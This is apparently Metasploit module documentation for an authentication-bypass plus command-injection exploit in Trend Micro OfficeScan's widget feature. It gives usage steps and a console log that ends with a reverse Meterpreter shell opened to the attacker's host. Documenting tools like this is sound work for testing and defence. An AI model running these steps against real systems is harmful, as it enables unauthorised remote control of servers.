## Vulnerable Application

This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.

The Trend Micro OfficeScan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.

**Vulnerable Application Installation Steps**

1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
2. Find "OfficeScan" and click.
3. At the time of writing this documentation, you must see "osce-xg-win-en-gm-b1315.exe" next to Download button.
4. Click to the download button and complete installation of ISO.
5. Install the downloaded file on Windows operating system. (Tested with Windows 7)

If you don't see an affected version of OfficeScan, you can try to download it directly from following URL.

[http://download.trendmicro.com/products/officescan/XG/osce_xg_win_en_gm_b1315.exe](http://download.trendmicro.com/products/officescan/XG/osce_xg_win_en_gm_b1315.exe)

## Verification Steps

A successful check of the exploit will look like this:

- [ ] Start `msfconsole`
- [ ] `use exploit/windows/http/trendmicro_officescan_widget_exec`
- [ ] Set `RHOST`
- [ ] Set `LHOST`
- [ ] Run `check`
- [ ] **Verify** that you are seeing `The target is vulnerable.`
- [ ] Run `exploit`
- [ ] **Verify** that you are seeing `Authenticated successfully bypassed` value.
- [ ] **Verify** that you are getting `meterpreter` session.

## Scenarios

### Trend Micro OfficeScan 11 on Win7

```
msf exploit(trendmicro_officescan_widget_exec) > exploit 

[*] Started reverse TCP handler on 12.0.0.1:4444 
[*] Auto detection enabled. Trying to detect target system version.
[*] Target system selected : OfficeScan 11
[*] Exploiting authentication bypass
[+] Authenticated successfully bypassed.
[*] Generating payload
[*] Triggering command injection vulnerability
[*] Sending stage (179267 bytes) to 12.0.0.176
[*] Meterpreter session 9 opened (12.0.0.1:4444 -> 12.0.0.176:49842) at 2017-10-09 21:57:29 +0300

meterpreter > sysinfo
Computer        : CME
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : tr_TR
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > 

```
